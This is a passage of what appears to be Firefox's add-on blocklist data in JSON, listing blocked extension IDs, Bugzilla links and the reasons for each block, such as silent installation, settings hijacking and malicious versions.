1.2.6″,”created”:”2015-08-17T15:56:04Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”1.2.6″,”minVersion”:”1.2.6″,”targetApplication”:[{“guid”:”{3550f703-e582-4d05-9a08-453d09bdfdc6}”,”maxVersion”:”*”,”minVersion”:”38.0a2″}]}],”id”:”bb1c699e-8790-4528-0b6d-4f83b7a3152d”,”last_modified”:1480349204041},{“guid”:”{0134af61-7a0c-4649-aeca-90d776060cb3}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i448″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=912746″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on doesn’t follow our Add-on Guidelines. It manipulates settings without reverting them on removal. Users who wish to continue using this add-on can enable it in the Add-ons Manager.”,”name”:”KeyBar add-on”,”created”:”2013-09-13T16:15:39Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”cf428416-4974-8bb4-7928-c0cb2cfe7957″,”last_modified”:1480349203968},{“guid”:”/^(firefox@vebergreat\\.net|EFGLQA@78ETGYN-0W7FN789T87\\.COM)$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i564″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=974104″,”who”:”All Firefox users who have these add-ons installed. If you wish to continue using these add-ons, you can enable them in the Add-ons Manager.”,”why”:”These add-ons are silently installed by the Free Driver Scout installer, in violation of our <a href=\”https://developer.mozilla.org/en-US/docs/Addons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”veberGreat and vis (Free Driver Scout bundle)”,”created”:”2014-03-05T13:02:57Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”487538f1-698e-147e-6395-986759ceed7e”,”last_modified”:1480349203902},{“guid”:”69ffxtbr@PackageTracer_69.com”,”prefs”:[“browser.startup.homepage”,”browser.search.defaultenginename”],”schema”:1480349193877,”blockID”:”i882″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1153001″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”This add-on appears to be malware, hijacking user’s settings, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”PackageTracer”,”created”:”2015-04-10T16:18:35Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”0d37b4e0-3c60-fdad-dd8c-59baff6eae87″,”last_modified”:1480349203836},{“guid”:”{ACAA314B-EEBA-48e4-AD47-84E31C44796C}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i496″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=945530″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”The installer that includes this add-on violates the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a> by making settings changes that can’t be easily reverted.”,”name”:”DVDVideoSoft Menu”,”created”:”2013-12-03T16:07:59Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”70d2c912-8d04-8065-56d6-d793b13d5f67″,”last_modified”:1480349203779},{“guid”:”jid1-4vUehhSALFNqCw@jetpack”,”prefs”:[],”schema”:1480349193877,”blockID”:”i632″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1033002″,”who”:”All Firefox users who have this version of the add-on installed.”,”why”:”Version 100.7 of the YouTube Plus Plus extension isn’t developed by the original developer, and is likely malicious in nature. It violates the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a> for reusing an already existent ID.”,”name”:”YouTube Plus Plus 100.7″,”created”:”2014-07-01T13:16:55Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”100.7″,”minVersion”:”100.7″,”targetApplication”:[]}],”id”:”8bef6026-6697-99cd-7c1f-812877c4211d”,”last_modified”:1480349203658},{“guid”:”{a9bb9fa0-4122-4c75-bd9a-bc27db3f9155}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i404″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=835678″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”This group of add-ons is silently installed, bypassing our install opt-in screen. This violates our <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Searchqu”,”created”:”2013-06-25T15:16:43Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”fb7a1dc7-16a0-4f70-8289-4df494e0d0fa”,”last_modified”:1480349203633},{“guid”:”P2@D.edu”,”prefs”:[],”schema”:1480349193877,”blockID”:”i850″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1128269″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently installed and performs unwanted actions, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”unIsaless”,”created”:”2015-02-09T15:29:21Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”49536a29-fc7e-9fd0-f415-e15ac090fa56″,”last_modified”:1480349203605},{“guid”:”linksicle@linksicle.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i472″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=935779″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is part of a malicious Firefox installer bundle.”,”name”:”Installer bundle (malware)”,”created”:”2013-11-07T15:38:38Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”9b5b15b3-6da7-cb7c-3c44-30b4fe079d52″,”last_modified”:1480349203581},{“guid”:”{377e5d4d-77e5-476a-8716-7e70a9272da0}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i398″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=835678″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”This group of add-ons is silently installed, bypassing our install opt-in screen. This violates our <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Searchqu”,”created”:”2013-06-25T15:15:46Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”ea94df32-2a85-23da-43f7-3fc5714530ec”,”last_modified”:1480349203519},{“guid”:”{4933189D-C7F7-4C6E-834B-A29F087BFD23}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i437″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=900695″,”who”:”All Firefox users.”,”why”:”This add-on is widely reported to be malware.”,”name”:”Win32.SMSWebalta (malware)”,”created”:”2013-08-09T15:14:27Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”cbef1357-d6bc-c8d3-7a82-44af6b1c390f”,”last_modified”:1480349203486},{“guid”:”{ADFA33FD-16F5-4355-8504-DF4D664CFE10}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i306″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=844972″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using this add-on can enable it in the Add-ons Manager.”,”why”:”This add-on is silently installed, bypassing our third-party opt-in screen, in violation of our <a href=\”https://developer.mozilla.org/en-US/docs/Addons/Add-on_guidelines\”>Add-on Guidelines</a>. It’s also possible that it changes user settings without their consent.”,”name”:”Nation Toolbar”,”created”:”2013-02-28T12:56:48Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”017fd151-37ca-4646-4763-1d303fb918fa”,”last_modified”:1480349203460},{“guid”:”detgdp@gmail.com”,”prefs”:[“browser.startup.homepage”,”browser.search.defaultenginename”],”schema”:1480349193877,”blockID”:”i884″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1152614″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on appears to be malware, hijacking user settings, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Security Protection (malware)”,”created”:”2015-04-10T16:21:34Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”1b5cc88e-499d-2a47-d793-982d4c05e6ee”,”last_modified”:1480349203433},{“guid”:”/^(67314b39-24e6-4f05-99f3-3f88c7cddd17@6c5fa560-13a3-4d42-8e90-53d9930111f9\\.com|ffxtlbr@visualbee\\.com|{7aeae561-714b-45f6-ace3-4a8aed6e227b}|{7093ee04-f2e4-4637-a667-0f730797b3a0}|{53c4024f-5a2e-4f2a-b33e-e8784d730938})$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i514″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=947473″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”The installer that includes this add-on violates the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a> by using multiple add-on IDs and making unwanted settings changes.”,”name”:”VisualBee Toolbar”,”created”:”2013-12-20T12:25:50Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”5f91eee1-7303-3f97-dfe6-1e897a156c7f”,”last_modified”:1480349203408},{“guid”:”FXqG@xeeR.net”,”prefs”:[“browser.startup.homepage”],”schema”:1480349193877,”blockID”:”i720″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1076771″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”This add-on is silently installed into users’ systems and changes settings without consent, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”GoSSave”,”created”:”2014-10-02T12:23:01Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”8ebbc061-a4ff-b75b-ec42-eb17c42a2956″,”last_modified”:1480349203341},{“guid”:”{87934c42-161d-45bc-8cef-ef18abe2a30c}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i547″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=798621″,”who”:”All Firefox users who have this add-on installed. If you wish to continue using it, it can be enabled in the Add-ons Manager.”,”why”:”This add-on is silently installed and makes various unwanted changes, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Ad-Aware Security Toolbar”,”created”:”2014-01-30T12:42:01Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”3.7.9999999999″,”minVersion”:”0″,”targetApplication”:[]}],”id”:”bcfbc502-24c2-4699-7435-e4837118f05a”,”last_modified”:1480349203310},{“guid”:”kallow@facebook.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i495″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=945426″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This is a malicious Firefox extension that uses a deceptive name and hijacks users’ Facebook accounts.”,”name”:”Facebook Security Service (malware)”,”created”:”2013-12-02T15:09:42Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”1a2c37a9-e7cc-2d03-2043-098d36b8aca2″,”last_modified”:1480349203247},{“guid”:”support@lastpass.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i1261″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1289907″,”who”:”All users who install affected versions of this add-on – beta versions 4.0 to 4.1.20a from addons.mozilla.org or lastpass.com.”,”why”:”LastPass have announced there are security issues that would allow a malicious website to perform some actions (e.g. deleting passwords) without the user’s knowledge. Beta versions 4.0 to 4.1.20a of their add-on that were available from addons.mozilla.org are affected and Lastpass also distributed these versions direct from their website.”,”name”:”LastPass addon”,”created”:”2016-07-29T14:17:31Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”4.1.20a”,”minVersion”:”4.0.0a”,”targetApplication”:[]}],”id”:”ffe94023-b4aa-87ac-962c-5beabe34b1a0″,”last_modified”:1480349203208},{“guid”:”008abed2-b43a-46c9-9a5b-a771c87b82da@1ad61d53-2bdc-4484-a26b-b888ecae1906.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i528″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=949565″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”The installer that includes this add-on violates the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a> by being silently installed.”,”name”:”weDownload Manager Pro”,”created”:”2013-12-20T14:40:58Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”da46065f-1c68-78f7-80fc-8ae07b5df68d”,”last_modified”:1480349203131},{“guid”:”{25dd52dc-89a8-469d-9e8f-8d483095d1e8}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i714″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1073810″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently installed into users’ systems. It uses very unsafe practices to load its code, and leaks information of all web browsing activity. These are all violations of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Web Counselor”,”created”:”2014-10-01T15:36:06Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”e46c31ad-0ab3-e48a-47aa-9fa91b675fda”,”last_modified”:1480349203066},{“guid”:”{B1FC07E1-E05B-4567-8891-E63FBE545BA8}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i926″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1173154″,”who”:”All Firefox users who have this add-on installed in Firefox 39 and above.\r\n”,”why”:”Certain versions of this extension are causing startup crashes in Firefox 39 and above.\r\n”,”name”:”RealPlayer Browser Record Plugin”,”created”:”2015-06-09T15:28:46Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[{“guid”:”{ec8030f7-c20a-464f-9b0e-13a3a9e97384}”,”maxVersion”:”*”,”minVersion”:”39.0a1″}]}],”id”:”09868783-261a-ac24-059d-fc772218c1ba”,”last_modified”:1480349202708},{“guid”:”/^(torntv@torntv\\.com|trtv3@trtv\\.com|torntv2@torntv\\.com|e2fd07a6-e282-4f2e-8965-85565fcb6384@b69158e6-3c3b-476c-9d98-ae5838c5b707\\.com)$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i529″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=949559″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”The installer that includes this add-on violates the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a> by being silently installed.”,”name”:”TornTV”,”created”:”2013-12-20T14:46:03Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”040e5ec2-ea34-816a-f99f-93296ce845e8″,”last_modified”:1480349202677},{“guid”:”249911bc-d1bd-4d66-8c17-df533609e6d8@c76f3de9-939e-4922-b73c-5d7a3139375d.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i532″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=949672″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”The installer that includes this add-on violates the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a> by making changes that can’t be easily reverted and using multiple IDs.”,”name”:”Feven”,”created”:”2013-12-20T15:02:01Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”d32b850d-82d5-b63d-087c-fb2041b2c232″,”last_modified”:1480349202631},{“guid”:”thefoxonlybetter@quicksaver”,”prefs”:[],”schema”:1480349193877,”blockID”:”i704″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1053469″,”who”:”All Firefox users who have any of these versions of the add-on installed.”,”why”:”Certain versions of The Fox, Only Better weren’t developed by the original developer, and are likely malicious in nature. This violates the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a> for reusing an already existent ID.”,”name”:”The Fox, Only Better (malicious versions)”,”created”:”2014-08-27T14:49:02Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”0.*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”79ea6621-b414-17a4-4872-bfc4af7fd428″,”last_modified”:1480349202588},{“guid”:”{B40794A0-7477-4335-95C5-8CB9BBC5C4A5}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i429″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=899178″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is malware that spreads spam through Facebook.”,”name”:”Video Player 1.3 (malware)”,”created”:”2013-07-30T14:31:17Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”d98b2b76-4082-3387-ae33-971d973fa278″,”last_modified”:1480349202541},{“guid”:”firefoxaddon@youtubeenhancer.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i648″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1036757″,”who”:”All Firefox users who have this version of the add-on installed.”,”why”:”Certain versions of the YouTube Enhancer Plus extension weren’t developed by the original developer, and are likely malicious in nature. This violates the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a> for reusing an already existent ID.”,”name”:”YouTube Enhancer Plus, versions between 199.7.0 and 208.7.0″,”created”:”2014-07-10T15:12:48Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”208.7.0″,”minVersion”:”199.7.0″,”targetApplication”:[]}],”id”:”7e64d7fc-ff16-8687-dbd1-bc4c7dfc5097″,”last_modified”:1480349202462},{“guid”:”addon@defaulttab.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i362″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=863387″,”who”:”All users who have this add-on installed. Users who wish to enable it again can do so in the Add-ons Manager tab.”,”why”:”Old versions of this add-on had been silently installed into users’ systems, without showing the opt-in install page that is built into Firefox.”,”name”:”Default Tab”,”created”:”2013-06-06T12:57:29Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”1.4.4″,”minVersion”:”0″,”targetApplication”:[]}],”id”:”df3fe753-5bae-bfb4-022b-6b6bfc534937″,”last_modified”:1480349202429},{“guid”:”{7D4F1959-3F72-49d5-8E59-F02F8AA6815D}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i394″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=881447″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”This is a companion add-on for the SweetPacks Toolbar which <a href=\”https://addons.mozilla.org/en-US/firefox/blocked/i392\”>is blocked</a> due to guideline violations.”,”name”:”Updater By SweetPacks”,”created”:”2013-06-25T12:40:41Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”851c2b8e-ea19-3a63-eac5-f931a8da5d6e”,”last_modified”:1480349202341},{“guid”:”g@uzcERQ6ko.net”,”prefs”:[“browser.startup.homepage”,”browser.search.defaultenginename”],”schema”:1480349193877,”blockID”:”i776″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1076771″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”This add-on is silently installed and changes user settings without consent, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>”,”name”:”GoSave”,”created”:”2014-10-31T16:23:36Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”ee1e1a44-b51b-9f12-819d-64c3e515a147″,”last_modified”:1480349202307},{“guid”:”ffxtlbr@incredibar.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i318″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=812264″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on doesn’t follow our <a href=\”https://developer.mozilla.org/en-US/docs/Addons/Add-on_guidelines\”>Add-on Guidelines</a>, bypassing our third party install opt-in screen. Users who wish to continue using this extension can enable it in the Add-ons Manager.”,”name”:”IncrediBar”,”created”:”2013-03-20T14:40:32Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”9e84b07c-84d5-c932-85f2-589713d7e380″,”last_modified”:1480349202280},{“guid”:”M1uwW0@47z8gRpK8sULXXLivB.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i870″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1131159″,”who”:”All users who have this add-on installed.”,”why”:”This is a malicious add-on that goes by the the name \”Flash Player 11\”.”,”name”:”Flash Player 11 (malware)”,”created”:”2015-03-04T14:34:08Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”71d961b2-37d1-d393-76f5-3afeef57e749″,”last_modified”:1480349202252},{“guid”:”jid1-qj0w91o64N7Eeg@jetpack”,”prefs”:[],”schema”:1480349193877,”blockID”:”i650″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1036757″,”who”:”All Firefox users who have this version of the add-on installed.”,”why”:”Certain versions of the YouTube ALL HTML5 extension weren’t developed by the original developer, and are likely malicious in nature. This violates the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a> for reusing an already existent ID.”,”name”:”YouTube ALL HTML5, versions between 39.5.1 and 47.0.4″,”created”:”2014-07-10T15:14:26Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”47.0.4″,”minVersion”:”39.5.1″,”targetApplication”:[]}],”id”:”b30b1f7a-2a30-a6cd-fc20-6c9cb23c7198″,”last_modified”:1480349202186},{“guid”:”4zffxtbr-bs@VideoDownloadConverter_4z.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i507″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=949266″,”who”:”All Firefox users who have this add-on installed.”,”why”:”Certain versions of this add-on contains an executable that is flagged by multiple tools as malware. Newer versions no longer use it.”,”name”:”VideoDownloadConverter”,”created”:”2013-12-12T15:37:23Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”5.75.3.25126″,”minVersion”:”0″,”targetApplication”:[]}],”id”:”0a0f106a-ecc6-c537-1818-b36934943e91″,”last_modified”:1480349202156},{“guid”:”hdv@vovcacik.addons.mozilla.org”,”prefs”:[],”schema”:1480349193877,”blockID”:”i656″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1036757″,”who”:”All Firefox users who have this version of the add-on installed.”,”why”:”Certain versions of the High Definition Video extension weren’t developed by the original developer, and are likely malicious in nature. This violates the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a> for reusing an already existent ID.”,”name”:”High Definition Video, version 102.0″,”created”:”2014-07-10T15:22:59Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”102.0″,”minVersion”:”102.0″,”targetApplication”:[]}],”id”:”972249b2-bba8-b508-2ead-c336631135ac”,”last_modified”:1480349202125},{“guid”:”@video_downloader_pro”,”prefs”:[],”schema”:1480349193877,”blockID”:”i1265″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1298335″,”who”:”Users of versions of 1.2.1 to 1.2.5 inclusive.”,”why”:”Versions 1.2.1 to 1.2.5 of Video Downloader Pro included code that violated our polices – affected versions send every visited url to a remote server without the user’s consent. Versions older than 1.2.1 and more recent than 1.2.5 are okay.”,”name”:”Video Downloader Pro”,”created”:”2016-08-26T18:26:39Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”1.2.5″,”minVersion”:”1.2.1″,”targetApplication”:[]}],”id”:”ff9c8def-7d50-66b4-d42a-f9a4b04bd224″,”last_modified”:1480349202099},{“guid”:”contato@facefollow.net”,”prefs”:[],”schema”:1480349193877,”blockID”:”i509″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=950846″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on spams users’ Facebook accounts.”,”name”:”Face follow”,”created”:”2013-12-16T16:15:15Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”56f15747-af8c-342c-6877-a41eeacded84″,”last_modified”:1480349202067},{“guid”:”wecarereminder@bryan”,”prefs”:[],”schema”:1480349193877,”blockID”:”i666″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=818614″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”This add-on is being silently installed by various software packages, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”We-Care Reminder”,”created”:”2014-07-10T16:18:36Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”51e0ead7-144c-c1f4-32f2-25fc5fcde870″,”last_modified”:1480349202039},{“guid”:”/^({83a8ce1b-683c-4784-b86d-9eb601b59f38}|{ef1feedd-d8da-4930-96f1-0a1a598375c6}|{79ff1aae-701f-4ca5-aea3-74b3eac6f01b}|{8a184644-a171-4b05-bc9a-28d75ffc9505}|{bc09c55d-0375-4dcc-836e-0e3c8addfbda}|{cef81415-2059-4dd5-9829-1aef3cf27f4f})$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i526″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=949566″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”The installer that includes this add-on violates the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a> by making changes that can’t be easily reverted and uses multiple IDs.”,”name”:”KeyBar add-on”,”created”:”2013-12-20T14:12:31Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”9dfa4e92-bbf2-66d1-59a9-51402d1d226c”,”last_modified”:1480349202010},{“guid”:”{d9284e50-81fc-11da-a72b-0800200c9a66}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i806″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1106948″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable the add-on in the Add-on Manager.”,”why”:”Starting with Firefox 34, current versions of the Yoono add-on cause all tabs to appear blank.”,”name”:”Yoono”,”created”:”2014-12-16T08:35:41Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”7.7.34″,”minVersion”:”0″,”targetApplication”:[{“guid”:”{ec8030f7-c20a-464f-9b0e-13a3a9e97384}”,”maxVersion”:”*”,”minVersion”:”34.0a1″}]}],”id”:”ccdceb04-3083-012f-9d9f-aac85f10b494″,”last_modified”:1480349201976},{“guid”:”{f2548724-373f-45fe-be6a-3a85e87b7711}”,”prefs”:[“browser.startup.homepage”,”browser.search.defaultenginename”],”schema”:1480349193877,”blockID”:”i768″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1088726″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently installed and is considered malware, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Astro New 